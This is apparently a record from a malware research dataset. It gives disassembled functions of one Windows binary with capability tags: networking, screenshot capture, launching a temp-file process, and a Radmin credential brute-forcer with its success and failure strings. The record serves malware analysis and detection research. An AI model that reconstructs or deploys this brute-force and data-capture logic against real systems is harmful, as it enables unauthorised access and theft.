joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4028ab
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x228
mov eax, dword [0x4a2190]
push ebx
push esi
push edi
xor edi, edi
push 0x8c
inc edi
push edi
mov dword [ebp + 0x6c], eax
call fcn.00464c2d
mov esi, eax
xor ebx, ebx
cmp esi, ebx
pop ecx
pop ecx
je 0x4029ef
mov eax, dword [ebp + 0x7c]
push 8
push dword [ebp + 0x78]
mov dword [esi], eax
lea eax, [esi + 4]
push eax
call fcn.00464880
push esi
call fcn.00402842
add esp, 0x10
test eax, eax
je 0x4029e8
push ebx
push edi
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [esi + 0xc], eax
je 0x4029e1
lea eax, [ebp + 0x58]
push eax
push 0x8004667e
mov dword [ebp + 0x58], edi
push dword [esi + 0xc]
call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x4029d9
mov eax, dword [ebp + 0x78]
push dword [eax]
mov word [ebp + 0x5c], 2
call sub.WS2_32.dll_htonl
mov dword [ebp + 0x60], eax
mov eax, dword [ebp + 0x78]
mov ax, word [eax + 4]
push eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x5e], ax
push 0x10
lea eax, [ebp + 0x5c]
push eax
push dword [esi + 0xc]
call sub.WS2_32.dll_connect
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x4029d9
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0x1b8], ebx
mov eax, dword [esi + 0xc]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb4], edi
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x1b4], eax
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0xb4]
push eax
push ebx
push ebx
mov dword [ebp - 0x1b8], edi
mov dword [ebp + 0x50], 0xa
mov dword [ebp + 0x54], ebx
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
je 0x4029d9
lea eax, [ebp - 0xb4]
push eax
push dword [esi + 0xc]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4029d9
mov eax, esi
jmp 0x4029f1
push dword [esi + 0xc]
call sub.WS2_32.dll_closesocket
push esi
call fcn.00402890
pop ecx
push esi
call fcn.00464557
pop ecx
xor eax, eax
mov ecx, dword [ebp + 0x6c]
pop edi
pop esi
pop ebx
call fcn.00464bee
add ebp, 0x70
leave
ret

Function at 0x402a22
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0xc]
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x10c], 1
mov dword [ebp - 8], 0x1e
mov dword [ebp - 4], ebx
je 0x402a98
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x10c]
push eax
push ebx
push ebx
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x402aa0
mov eax, 0xffff
cmp dword [ebp + 0xc], eax
ja 0x402a82
mov eax, dword [ebp + 0xc]
push ebx
push eax
push edi
push dword [esi + 0xc]
call sub.WS2_32.dll_send
cmp eax, ebx
jle 0x402aa0
add edi, eax
sub dword [ebp + 0xc], eax
jne 0x402a5d
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x402a9b
Function at 0x402aa4
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0xc]
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x10c], 1
mov dword [ebp - 8], 0x1e
mov dword [ebp - 4], ebx
je 0x402b1a
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
push ebx
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x402b22
mov eax, 0xffff
cmp dword [ebp + 0xc], eax
ja 0x402b04
mov eax, dword [ebp + 0xc]
push ebx
push eax
push edi
push dword [esi + 0xc]
call sub.WS2_32.dll_recv
cmp eax, ebx
jle 0x402b22
add edi, eax
sub dword [ebp + 0xc], eax
jne 0x402adf
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x402b1d

Function at 0x402e05
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4a2190]
push esi
push edi
xor edi, edi
push 0xc
inc edi
push edi
mov dword [ebp - 4], eax
call fcn.00464c2d
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x402ec7
mov eax, dword [ebp + 0xc]
push 0
push edi
push 0
mov dword [esi], eax
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
mov dword [esi + 8], eax
je 0x402ec0
push 0
push edi
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x402eb7
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
mov dword [ebp - 0x18], edi
push dword [esi + 4]
call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x402eaf
push dword [ebp + 8]
and dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call sub.WS2_32.dll_htons
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 4]
call sub.WS2_32.dll_bind
test eax, eax
jne 0x402eaf
push 0x64
push dword [esi + 4]
call sub.WS2_32.dll_listen
test eax, eax
jne 0x402eaf
push dword [esi + 8]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov eax, esi
jmp 0x402ec9
push dword [esi + 4]
call sub.WS2_32.dll_closesocket
push dword [esi + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call fcn.00464557
pop ecx
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.00464bee
leave
ret
Function at 0x402fbb
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x4a2190]
push ebx
push esi
push edi
mov esi, str.qwertyuilkjhzxcv
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 8
mov dword [ebp - 4], eax
lea esi, [ebp - 0x10]
pop edi
call fcn.00403626
and eax, 0xf
mov al, byte [ebp + eax - 0x20]
mov byte [esi], al
inc esi
dec edi
jne 0x402fde
xor ebx, ebx
mov byte [esi], bl
mov esi, 0x400
push esi
call fcn.004646c7
push esi
mov dword [ebp - 0x24], eax
call fcn.004646c7
cmp dword [ebp - 0x24], ebx
pop ecx
pop ecx
mov edi, eax
je 0x4030a3
cmp edi, ebx
je 0x4030a3
push dword [ebp - 0x24]
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
je 0x4030a3
push edi
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
je 0x4030a3
push 0x4729b4
push edi
call fcn.00464830
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x4030a3
push esi
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.00464def
push esi
call fcn.00464725
push 0x44
pop esi
push esi
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.004643f0
add esp, 0x20
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
mov dword [ebp - 0x78], esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x4030a3
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x24]
call fcn.00464557
push edi
call fcn.00464557
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.00464bee
leave
ret
Function at 0x4033c6
Capabilities:
Capture screenshot

Disassembly:
push ebp
lea ebp, [esp - 0x168]
sub esp, 0x1e8
mov eax, dword [0x4a2190]
push esi
push edi
mov esi, 0x1a8
xor edi, edi
push esi
mov dword [ebp + 0x164], eax
lea eax, [ebp - 0x44]
push edi
push eax
mov dword [ebp - 0x58], edi
call fcn.004643f0
add esp, 0xc
push edi
lea eax, [ebp - 0x44]
push eax
push edi
push edi
mov dword [ebp - 0x44], esi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x403525
push edi
push edi
lea eax, [ebp - 0x40]
push eax
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
cmp esi, edi
mov dword [ebp - 0x48], esi
je 0x403525
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
cmp eax, edi
mov dword [ebp - 0x50], eax
je 0x40351c
push ebx
push 8
push esi
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
call esi
push 0xa
push dword [ebp - 0x48]
mov ebx, eax
call esi
push eax
push ebx
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
cmp eax, edi
mov dword [ebp - 0x54], eax
je 0x403512
push eax
push dword [ebp - 0x50]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push edi
push edi
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push ebx
push edi
push edi
push dword [ebp - 0x50]
call dword [sym.imp.GDI32.dll_BitBlt]
lea esi, [ebx + 1]
imul esi, esi, 3
push 0x28
lea eax, [ebp - 0x80]
push edi
and esi, 0xfffffffc
imul esi, dword [ebp - 0x4c]
push eax
call fcn.004643f0
mov eax, dword [ebp - 0x4c]
push esi
mov dword [ebp - 0x80], 0x28
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], eax
mov word [ebp - 0x72], 0x18
mov word [ebp - 0x74], 1
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], esi
call fcn.004646c7
mov ebx, eax
add esp, 0x10
cmp ebx, edi
je 0x403509
push edi
lea eax, [ebp - 0x80]
push eax
push ebx
push dword [ebp - 0x4c]
push edi
push dword [ebp - 0x54]
push dword [ebp - 0x48]
call dword [sym.imp.GDI32.dll_GetDIBits]
mov eax, dword [ebp + 0x170]
mov dword [eax], ebx
mov eax, dword [ebp + 0x174]
mov dword [eax], esi
mov dword [ebp - 0x58], 1
push dword [ebp - 0x54]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x50]
call dword [sym.imp.GDI32.dll_DeleteDC]
pop ebx
push dword [ebp - 0x48]
call dword [sym.imp.GDI32.dll_DeleteDC]
mov ecx, dword [ebp + 0x164]
mov eax, dword [ebp - 0x58]
pop edi
pop esi
call fcn.00464bee
add ebp, 0x168
leave
ret
Function at 0x40353d
Capabilities:
Encode data using xor
Get memory capacity
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xe4
mov eax, dword [0x4a2190]
mov dword [ebp + 0x74], eax
mov dword [ebp - 0x6c], 0x58
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp - 0x6c]
push 0x58
push eax
call fcn.00406f2c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004033c6
add esp, 0x14
test eax, eax
je 0x4035ef
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00406f2c
add esp, 0xc
xor eax, eax
mov cl, byte [ebp + eax - 0xc]
xor byte [ebp + eax + 0x34], cl
inc eax
cmp eax, 0x40
jb 0x4035d8
push dword [ebp - 0x10]
call fcn.00464557
pop ecx
lea eax, [ebp + 0x34]
push 0x40
push eax
call fcn.00406ab0
pop ecx
pop ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
mov dword [0x4a60cc], eax
jne 0x403619
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, dword [ebp + 0x74]
call fcn.00464bee
add ebp, 0x78
leave
ret

Function at 0x403626
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xffffffffffffffff
push dword [0x4a60cc]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x40364d
lea eax, [ebp - 4]
push 4
push eax
call fcn.00406aef
test eax, eax
pop ecx
pop ecx
jne 0x403655
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push dword [0x4a60cc]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov eax, dword [ebp - 4]
leave
ret
Function at 0x403a00
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0xb4
mov eax, dword [0x4a2190]
push ebx
push esi
mov esi, dword [ebp + 0x78]
mov dword [ebp + 0x68], eax
movzx eax, word [esi + 4]
push edi
push eax
movzx eax, byte [esi]
push eax
movzx eax, byte [esi + 1]
push eax
movzx eax, byte [esi + 2]
push eax
movzx eax, byte [esi + 3]
push eax
lea eax, [ebp + 0x48]
push str._d._d._d._d:_d
xor edi, edi
push eax
mov dword [ebp - 0x3c], edi
call fcn.004645c8
lea eax, [ebp + 0x48]
push eax
mov eax, dword [ebp + 0x7c]
push dword [eax + 0x14]
lea eax, [ebp - 0x38]
push str.brute:_found_radmin__s_server__s_n
push eax
call fcn.004645c8
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp + 0x74]
push dword [eax]
call fcn.0040154a
add esp, 0x34
mov dword [ebp - 0x40], edi
mov dword [ebp + 0x78], edi
mov dword [ebp - 0x44], edi
jmp 0x403a7a
xor edi, edi
mov eax, dword [ebp + 0x74]
cmp dword [eax + 4], edi
jne 0x403b40
cmp dword [ebp + 0x78], 2
jge 0x403b40
mov eax, dword [ebp - 0x44]
mov edi, dword [eax + 0x49f150]
mov eax, dword [ebp - 0x40]
mov ebx, dword [eax*4 + 0x49f1a0]
push edi
call fcn.00465000
cmp eax, 1
pop ecx
jae 0x403ad5
mov dword [ebp - 0x3c], 0x10
mov eax, dword [ebp - 0x3c]
sub eax, 0xf
je 0x403b27
dec eax
je 0x403b94
dec eax
je 0x403b7e
mov dword [ebp + 0x78], 2
jmp 0x403b36
push ebx
call fcn.00465000
cmp eax, 6
pop ecx
jae 0x403aea
mov dword [ebp - 0x3c], 0x11
jmp 0x403ab6
lea eax, [ebp - 0x48]
push eax
push 4
push ebx
push edi
push dword [ebp + 0x7c]
push esi
call fcn.00405a49
add esp, 0x18
cmp eax, 0xc
mov dword [ebp - 0x3c], eax
jg 0x403ab6
cmp eax, 0xc
je 0x403b27
test eax, eax
je 0x403b9e
cmp eax, 2
jle 0x403acc
cmp eax, 4
jle 0x403b27
cmp eax, 6
jle 0x403acc
cmp eax, 8
jg 0x403acc
push 0x32
push dword [ebp + 0x74]
call fcn.00403666
inc dword [ebp + 0x78]
pop ecx
pop ecx
cmp dword [ebp - 0x44], 0x50
jb 0x403a78
push dword [ebp - 0x3c]
call fcn.00403e0d
push eax
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp - 0x38]
push str.brute:_fail_on__s_with_status___s__n
push eax
call fcn.004645c8
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp + 0x74]
push dword [eax]
call fcn.0040154a
add esp, 0x1c
xor eax, eax
mov ecx, dword [ebp + 0x68]
pop edi
pop esi
pop ebx
call fcn.00464bee
add ebp, 0x6c
leave
ret
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xcc
je 0x403acc
and dword [ebp + 0x78], 0
jmp 0x403b36
add dword [ebp - 0x44], 4
and dword [ebp - 0x40], 0
jmp 0x403b8e
push ebx
push edi
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp - 0x38]
push str.brute:_success_on__s_with_username___s__and_password___s__n
push eax
call fcn.004645c8
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp + 0x74]
push dword [eax]
call fcn.0040154a
push dword [ebp - 0x48]
push ebx
push edi
push dword [ebp + 0x7c]
push esi
push dword [ebp + 0x74]
call fcn.0040368b
push dword [ebp - 0x48]
mov esi, eax
call fcn.00405b09
add esp, 0x38
mov eax, esi
jmp 0x403b6e
Function at 0x403be2
Capabilities:
Print debug messages

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x9c
mov eax, dword [0x4a2190]
push esi
mov esi, dword [ebp + 0x7c]
mov dword [ebp + 0x6c], eax
movzx eax, word [esi + 4]
push edi
push eax
movzx eax, byte [esi]
push eax
movzx eax, byte [esi + 1]
push eax
movzx eax, byte [esi + 2]
push eax
movzx eax, byte [esi + 3]
push eax
xor edi, edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
lea eax, [ebp - 0x14]
push str.Thread__d___trying_to_connect_to__d._d._d._d:_d_n
push eax
call fcn.004645c8
add esp, 0x20
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
lea eax, [ebp - 0x2c]
push esi
push eax
call fcn.00404ddb
test eax, eax
pop ecx
pop ecx
jne 0x403c7b
cmp dword [ebp - 0x1c], edi
jne 0x403c7b
cmp dword [ebp - 0x24], edi
jne 0x403c7b
mov eax, dword [ebp - 0x2c]
dec eax
dec eax
je 0x403c69
dec eax
jne 0x403c7b
lea eax, [ebp - 0x2c]
push eax
push esi
push dword [ebp + 0x78]
call fcn.00403a00
jmp 0x403c76
lea eax, [ebp - 0x2c]
push eax
push esi
push dword [ebp + 0x78]
call fcn.0040384c
add esp, 0xc
mov edi, eax
mov ecx, dword [ebp + 0x6c]
mov eax, edi
pop edi
pop esi
call fcn.00464bee
add ebp, 0x70
leave
ret

Function at 0x403d6c
Capabilities:
Create thread

Disassembly:
push esi
push 0x148
push 1
call fcn.00464c2d
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x403db1
mov eax, dword [esp + 8]
push ebx
push edi
push 0x50
mov dword [esi], eax
lea edi, [esi + 8]
pop ebx
push 0
push 0
push esi
push 0x403cf8
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [edi], eax
add edi, 4
dec ebx
jne 0x403d8f
pop edi
pop ebx
mov eax, esi
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x403db5
Capabilities:
Terminate thread

Disassembly:
push edi
mov edi, dword [esp + 8]
test edi, edi
je 0x403e0b
push ebx
push esi
push 0x9c4
push 1
lea esi, [edi + 8]
push esi
push 0x50
pop ebx
push ebx
mov dword [edi + 4], 1
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x403df4
push 1
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
add esi, 4
dec ebx
jne 0x403ddc
push edi
call fcn.00464557
pop ecx
pop esi
pop ebx
pop edi
ret
Function at 0x403e2a
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x4a2190]
push esi
push edi
push 0
xor edi, edi
inc edi
push edi
push 2
mov dword [ebp - 4], eax
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov esi, dword [ebp + 8]
mov dword [esi], eax
jne 0x403e5c
push 4
pop edi
jmp 0x403f33
lea ecx, [ebp - 0x18]
push ecx
push 0x8004667e
push eax
mov dword [ebp - 0x18], edi
call sub.WS2_32.dll_ioctlsocket
test eax, eax
je 0x403e79
push 4
jmp 0x403f1b
push ebx
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov word [ebp - 0x14], 2
call sub.WS2_32.dll_htonl
mov dword [ebp - 0x10], eax
mov ax, word [ebx + 4]
push eax
call sub.WS2_32.dll_htons
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi]
call sub.WS2_32.dll_connect
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
pop ebx
jne 0x403f29
mov eax, dword [esi]
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x228]
push ecx
lea ecx, [ebp - 0x124]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x224], eax
xor eax, eax
push ecx
push eax
push eax
mov dword [ebp - 0x124], edi
mov dword [ebp - 0x228], edi
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x1c], eax
call sub.WS2_32.dll_select
lea eax, [ebp - 0x124]
push eax
push dword [esi]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x403f22
call sub.WS2_32.dll_WSAGetLastError
sub eax, 0x274c
je 0x403f1e
dec eax
jne 0x403e72
push 5
pop edi
jmp 0x403f2c
push 6
jmp 0x403f1b
mov dword [esi + 0xc], edi
xor eax, eax
jmp 0x403f35
mov edi, dword [ebp + 8]
push dword [esi]
call sub.WS2_32.dll_closesocket
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.00464bee
leave
ret

Function at 0x403f53
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 0x10]
push ebx
push esi
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp + 0x10], eax
je 0x403fcf
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
push ebx
mov dword [ebp - 0x10c], 1
mov dword [ebp - 8], 0x1e
mov dword [ebp - 4], ebx
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x403fd6
mov eax, 0xffff
cmp dword [ebp + 0x10], eax
ja 0x403fb2
mov eax, dword [ebp + 0x10]
push ebx
push eax
push edi
push dword [esi]
call sub.WS2_32.dll_recv
cmp eax, ebx
je 0x403fda
jl 0x403fde
sub dword [ebp + 0x10], eax
add dword [esi + 4], eax
add edi, eax
cmp dword [ebp + 0x10], ebx
jne 0x403f71
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 0xf
jmp 0x403ffe
push 7
jmp 0x403ffe
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2745
jl 0x403ffc
cmp eax, 0x2746
jle 0x403ff8
cmp eax, 0x274c
jne 0x403ffc
push 8
jmp 0x403ffe
push 4
pop eax
jmp 0x403fd1
Function at 0x404001
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 0x10]
push ebx
push esi
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp + 0x10], eax
je 0x40407b
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x10c]
push eax
push ebx
push ebx
mov dword [ebp - 0x10c], 1
mov dword [ebp - 8], 0xf
mov dword [ebp - 4], ebx
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x404082
mov eax, 0xffff
cmp dword [ebp + 0x10], eax
ja 0x404060
mov eax, dword [ebp + 0x10]
push ebx
push eax
push edi
push dword [esi]
call sub.WS2_32.dll_send
cmp eax, ebx
jle 0x404086
sub dword [ebp + 0x10], eax
add dword [esi + 8], eax
add edi, eax
cmp dword [ebp + 0x10], ebx
jne 0x40401f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 6
jmp 0x4040a6
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2745
jl 0x4040a4
cmp eax, 0x2746
jle 0x4040a0
cmp eax, 0x274c
jne 0x4040a4
push 8
jmp 0x4040a6
push 4
pop eax
jmp 0x40407d

Function at 0x406bc5
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0xf3bcc908
mov dword [eax + 4], 0x6a09e667
mov dword [eax + 8], 0x84caa73b
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0xfe94f82b
mov dword [eax + 0x14], 0x3c6ef372
mov dword [eax + 0x18], 0x5f1d36f1
mov dword [eax + 0x1c], 0xa54ff53a
mov dword [eax + 0x20], 0xade682d1
mov dword [eax + 0x24], 0x510e527f
mov dword [eax + 0x28], 0x2b3e6c1f
mov dword [eax + 0x2c], 0x9b05688c
mov dword [eax + 0x30], 0xfb41bd6b
mov dword [eax + 0x34], 0x1f83d9ab
mov dword [eax + 0x38], 0x137e2179
mov dword [eax + 0x3c], 0x5be0cd19
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], ecx
mov dword [eax + 0x48], ecx
mov dword [eax + 0x4c], ecx
mov dword [eax + 0xd0], ecx
mov dword [eax + 0xd4], 0x40
xor eax, eax
inc eax
ret